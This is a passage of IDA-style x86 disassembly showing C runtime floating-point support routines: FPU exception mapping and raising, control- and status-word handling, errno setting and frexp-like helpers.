sub_421234	proc near		; CODE XREF: sub_41C869:loc_41C92Cp
					; sub_41C9AF:loc_41CA72p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_42157F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421272
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4212CC
		add	esp, 18h


loc_421272:				; CODE XREF: sub_421234+1Aj
		push	[ebp+arg_0]
		call	sub_421869
		cmp	ds:dword_43F900, 0
		pop	ecx
		jnz	short loc_4212B0
		test	eax, eax
		jz	short loc_4212B0
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421796
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4212B0:				; CODE XREF: sub_421234+4Ej
					; sub_421234+52j
		push	eax
		call	sub_42181E
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_421A09
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_421234	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4212CC	proc near		; CODE XREF: sub_421234+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4212FE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_4212FE:				; CODE XREF: sub_4212CC+23j
		test	cl, 2
		jz	short loc_421311
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_421311:				; CODE XREF: sub_4212CC+35j
		test	cl, bl
		jz	short loc_421323
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_421323:				; CODE XREF: sub_4212CC+47j
		test	cl, 4
		jz	short loc_421336
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_421336:				; CODE XREF: sub_4212CC+5Aj
		test	cl, 8
		jz	short loc_421349
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_421349:				; CODE XREF: sub_4212CC+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4219EC
		test	al, bl
		jz	short loc_4213D2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_4213D2:				; CODE XREF: sub_4212CC+FDj
		test	al, 4
		jz	short loc_4213DD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_4213DD:				; CODE XREF: sub_4212CC+108j
		test	al, 8
		jz	short loc_4213E8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_4213E8:				; CODE XREF: sub_4212CC+113j
		test	al, 10h
		jz	short loc_4213F2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_4213F2:				; CODE XREF: sub_4212CC+11Ej
		test	al, 20h
		jz	short loc_4213FC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_4213FC:				; CODE XREF: sub_4212CC+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_42143B
		cmp	eax, 400h
		jz	short loc_42142D
		cmp	eax, 800h
		jz	short loc_421421
		cmp	eax, ecx
		jnz	short loc_421441
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421441
; ---------------------------------------------------------------------------


loc_421421:				; CODE XREF: sub_4212CC+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421437
; ---------------------------------------------------------------------------


loc_42142D:				; CODE XREF: sub_4212CC+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421437:				; CODE XREF: sub_4212CC+15Fj
		mov	[eax], ecx
		jmp	short loc_421441
; ---------------------------------------------------------------------------


loc_42143B:				; CODE XREF: sub_4212CC+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421441:				; CODE XREF: sub_4212CC+14Bj
					; sub_4212CC+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_42146C
		cmp	eax, 200h
		jz	short loc_42145F
		cmp	eax, ecx
		jnz	short loc_421479
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421479
; ---------------------------------------------------------------------------


loc_42145F:				; CODE XREF: sub_4212CC+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421477
; ---------------------------------------------------------------------------


loc_42146C:				; CODE XREF: sub_4212CC+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421477:				; CODE XREF: sub_4212CC+19Ej
		mov	[eax], ecx


loc_421479:				; CODE XREF: sub_4212CC+189j
					; sub_4212CC+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4219FA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	ds:dword_42805C	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4214F3
		and	dword ptr [esi], 0FFFFFFFEh


loc_4214F3:				; CODE XREF: sub_4212CC+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4214FC
		and	dword ptr [esi], 0FFFFFFFBh


loc_4214FC:				; CODE XREF: sub_4212CC+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_421505
		and	dword ptr [esi], 0FFFFFFF7h


loc_421505:				; CODE XREF: sub_4212CC+234j
		test	byte ptr [eax+8], 2
		jz	short loc_42150E
		and	dword ptr [esi], 0FFFFFFEFh


loc_42150E:				; CODE XREF: sub_4212CC+23Dj
		test	[eax+8], bl
		jz	short loc_421516
		and	dword ptr [esi], 0FFFFFFDFh


loc_421516:				; CODE XREF: sub_4212CC+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42154A
		dec	ecx
		jz	short loc_42153E
		dec	ecx
		jz	short loc_421534
		dec	ecx
		jnz	short loc_42154C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_42154C
; ---------------------------------------------------------------------------


loc_421534:				; CODE XREF: sub_4212CC+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421546
; ---------------------------------------------------------------------------


loc_42153E:				; CODE XREF: sub_4212CC+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421546:				; CODE XREF: sub_4212CC+270j
		mov	[esi], ecx
		jmp	short loc_42154C
; ---------------------------------------------------------------------------


loc_42154A:				; CODE XREF: sub_4212CC+257j
		and	[esi], edx


loc_42154C:				; CODE XREF: sub_4212CC+260j
					; sub_4212CC+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_42156C
		dec	ecx
		jz	short loc_421563
		dec	ecx
		jnz	short loc_421575
		and	[esi], edx
		jmp	short loc_421575
; ---------------------------------------------------------------------------


loc_421563:				; CODE XREF: sub_4212CC+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421573
; ---------------------------------------------------------------------------


loc_42156C:				; CODE XREF: sub_4212CC+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421573:				; CODE XREF: sub_4212CC+29Ej
		mov	[esi], ecx


loc_421575:				; CODE XREF: sub_4212CC+291j
					; sub_4212CC+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4212CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42157F	proc near		; CODE XREF: sub_421234+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_4215AA
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_4215AA
		push	ebx
		call	sub_421A2C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421774
; ---------------------------------------------------------------------------


loc_4215AA:				; CODE XREF: sub_42157F+15j
					; sub_42157F+1Aj
		test	al, 4
		jz	short loc_4215C4
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4215C4
		push	4
		call	sub_421A2C
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421774
; ---------------------------------------------------------------------------


loc_4215C4:				; CODE XREF: sub_42157F+2Dj
					; sub_42157F+33j
		test	al, bl
		jz	loc_42169E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_42169E
		push	8
		call	sub_421A2C
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421676
		cmp	ecx, 400h
		jz	short loc_42164E
		cmp	ecx, 800h
		jz	short loc_421626
		cmp	ecx, eax
		jnz	loc_421696
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_428880
		fld	ds:dbl_43F500
		fnstsw	ax
		sahf
		ja	short loc_42161E
		fchs


loc_42161E:				; CODE XREF: sub_42157F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421694
; ---------------------------------------------------------------------------


loc_421626:				; CODE XREF: sub_42157F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_428880
		fnstsw	ax
		sahf
		jbe	short loc_42163E
		fld	ds:dbl_43F4F0
		jmp	short loc_421646
; ---------------------------------------------------------------------------


loc_42163E:				; CODE XREF: sub_42157F+B5j
		fld	ds:dbl_43F500
		fchs


loc_421646:				; CODE XREF: sub_42157F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421694
; ---------------------------------------------------------------------------


loc_42164E:				; CODE XREF: sub_42157F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_428880
		fnstsw	ax
		sahf
		jbe	short loc_421666
		fld	ds:dbl_43F500
		jmp	short loc_42166E
; ---------------------------------------------------------------------------


loc_421666:				; CODE XREF: sub_42157F+DDj
		fld	ds:dbl_43F4F0
		fchs


loc_42166E:				; CODE XREF: sub_42157F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421694
; ---------------------------------------------------------------------------


loc_421676:				; CODE XREF: sub_42157F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_428880
		fld	ds:dbl_43F4F0
		fnstsw	ax
		sahf
		ja	short loc_42168E
		fchs


loc_42168E:				; CODE XREF: sub_42157F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421694:				; CODE XREF: sub_42157F+A5j
					; sub_42157F+CDj ...
		fstp	qword ptr [ecx]


loc_421696:				; CODE XREF: sub_42157F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421774
; ---------------------------------------------------------------------------


loc_42169E:				; CODE XREF: sub_42157F+47j
					; sub_42157F+51j
		test	al, 2
		jz	loc_421774
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421774
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_4216B9
		mov	esi, ebx


loc_4216B9:				; CODE XREF: sub_42157F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	ds:dbl_428880
		fnstsw	ax
		sahf
		jz	loc_421762
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_42192B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_421704
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421758
; ---------------------------------------------------------------------------


loc_421704:				; CODE XREF: sub_42157F+17Aj
		fld	[ebp+var_C]
		fcomp	ds:dbl_428880
		fnstsw	ax
		sahf
		jnb	short loc_421716
		mov	edx, ebx
		jmp	short loc_421718
; ---------------------------------------------------------------------------


loc_421716:				; CODE XREF: sub_42157F+191j
		xor	edx, edx


loc_421718:				; CODE XREF: sub_42157F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_42174C
		sub	eax, ecx


loc_42172F:				; CODE XREF: sub_42157F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42173A
		test	esi, esi
		jnz	short loc_42173A
		mov	esi, ebx


loc_42173A:				; CODE XREF: sub_42157F+1B3j
					; sub_42157F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421746
		or	byte ptr [ebp+var_C+3],	80h


loc_421746:				; CODE XREF: sub_42157F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_42172F


loc_42174C:				; CODE XREF: sub_42157F+1ACj
		test	edx, edx
		jz	short loc_421758
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421758:				; CODE XREF: sub_42157F+183j
					; sub_42157F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421764
; ---------------------------------------------------------------------------


loc_421762:				; CODE XREF: sub_42157F+14Ej
		mov	esi, ebx


loc_421764:				; CODE XREF: sub_42157F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421771
		push	10h
		call	sub_421A2C
		pop	ecx


loc_421771:				; CODE XREF: sub_42157F+1E8j
		and	edi, 0FFFFFFFDh


loc_421774:				; CODE XREF: sub_42157F+26j
					; sub_42157F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_42178B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_42178B
		push	20h
		call	sub_421A2C
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_42178B:				; CODE XREF: sub_42157F+1F9j
					; sub_42157F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_42157F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421796(int,int,int,int,int,int,double,int)

sub_421796	proc near		; CODE XREF: sub_4211E1+2Bp
					; sub_421234+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421844
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_421801
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_421A09
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42426D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4217FB
		push	esi
		call	sub_42181E
		pop	ecx


loc_4217FB:				; CODE XREF: sub_421796+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_421801:				; CODE XREF: sub_421796+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_421A09
		push	[ebp+arg_0]
		call	sub_42181E
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421796	endp


; =============== S U B	R O U T	I N E =======================================



sub_42181E	proc near		; CODE XREF: sub_421234+7Dp
					; sub_421796+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421839
		jle	short locret_421843
		cmp	eax, 3
		jg	short locret_421843
		mov	ds:dword_4DDEB4, 22h
		retn
; ---------------------------------------------------------------------------


loc_421839:				; CODE XREF: sub_42181E+7j
		mov	ds:dword_4DDEB4, 21h

locret_421843:				; CODE XREF: sub_42181E+9j
					; sub_42181E+Ej
		retn
sub_42181E	endp


; =============== S U B	R O U T	I N E =======================================



sub_421844	proc near		; CODE XREF: sub_421796+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43F418


loc_42184B:				; CODE XREF: sub_421844+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421861
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43F4F0
		jl	short loc_42184B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421861:				; CODE XREF: sub_421844+Dj
		mov	eax, ds:off_43F41C[ecx*8]
		retn
sub_421844	endp


; =============== S U B	R O U T	I N E =======================================



sub_421869	proc near		; CODE XREF: sub_421234+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421875
		push	5
		jmp	short loc_42188B
; ---------------------------------------------------------------------------


loc_421875:				; CODE XREF: sub_421869+6j
		test	al, 8
		jz	short loc_42187D
		push	1
		jmp	short loc_42188B
; ---------------------------------------------------------------------------


loc_42187D:				; CODE XREF: sub_421869+Ej
		test	al, 4
		jz	short loc_421885
		push	2
		jmp	short loc_42188B
; ---------------------------------------------------------------------------


loc_421885:				; CODE XREF: sub_421869+16j
		test	al, 1
		jz	short loc_42188D
		push	3


loc_42188B:				; CODE XREF: sub_421869+Aj
					; sub_421869+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42188D:				; CODE XREF: sub_421869+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421869	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421896(double)

sub_421896	proc near		; CODE XREF: sub_41C869:loc_41C8EFp
					; sub_41C9AF:loc_41CA35p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421896	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4218A8(double,int)

sub_4218A8	proc near		; CODE XREF: sub_42192B+82p
					; sub_42192B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_4218A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4218D1	proc near		; CODE XREF: sub_41C869+31p
					; sub_41C9AF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4218E8
		cmp	[ebp+arg_0], edx
		jnz	short loc_4218FA
		push	1
		jmp	short loc_421924
; ---------------------------------------------------------------------------


loc_4218E8:				; CODE XREF: sub_4218D1+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4218FA
		cmp	[ebp+arg_0], edx
		jnz	short loc_4218FA
		push	2
		jmp	short loc_421924
; ---------------------------------------------------------------------------


loc_4218FA:				; CODE XREF: sub_4218D1+11j
					; sub_4218D1+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_42190D
		push	3
		jmp	short loc_421924
; ---------------------------------------------------------------------------


loc_42190D:				; CODE XREF: sub_4218D1+36j
		cmp	cx, 7FF0h
		jnz	short loc_421927
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421922
		cmp	[ebp+arg_0], edx
		jz	short loc_421927


loc_421922:				; CODE XREF: sub_4218D1+4Aj
		push	4


loc_421924:				; CODE XREF: sub_4218D1+15j
					; sub_4218D1+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421927:				; CODE XREF: sub_4218D1+41j
					; sub_4218D1+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4218D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42192B(double,int)

sub_42192B	proc near		; CODE XREF: sub_42157F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	ds:dbl_428880
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_42194B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4219E1
; ---------------------------------------------------------------------------


loc_42194B:				; CODE XREF: sub_42192B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_4219BA
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421963
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_4219BA


loc_421963:				; CODE XREF: sub_42192B+31j
		fld	[ebp+arg_0]
		fcomp	ds:dbl_428880
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_42197B
		push	1
		pop	eax
		jmp	short loc_42197D
; ---------------------------------------------------------------------------


loc_42197B:				; CODE XREF: sub_42192B+49j
		xor	eax, eax


loc_42197D:				; CODE XREF: sub_42192B+4Ej
					; sub_42192B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_421996
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_421990
		or	dword ptr [ebp+arg_0+4], 1


loc_421990:				; CODE XREF: sub_42192B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_42197D
; ---------------------------------------------------------------------------


loc_421996:				; CODE XREF: sub_42192B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_4219A4
		or	byte ptr [ebp+arg_0+7],	80h


loc_4219A4:				; CODE XREF: sub_42192B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_4218A8
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4219E1
; ---------------------------------------------------------------------------


loc_4219BA:				; CODE XREF: sub_42192B+28j
					; sub_42192B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_4218A8
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_4219E1:				; CODE XREF: sub_42192B+1Bj
					; sub_42192B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_42192B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219EC	proc near		; CODE XREF: sub_4212CC+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4219EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219FA	proc near		; CODE XREF: sub_4212CC+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4219FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421A09	proc near		; CODE XREF: sub_41C869+13p
					; sub_41C869+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_421A09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


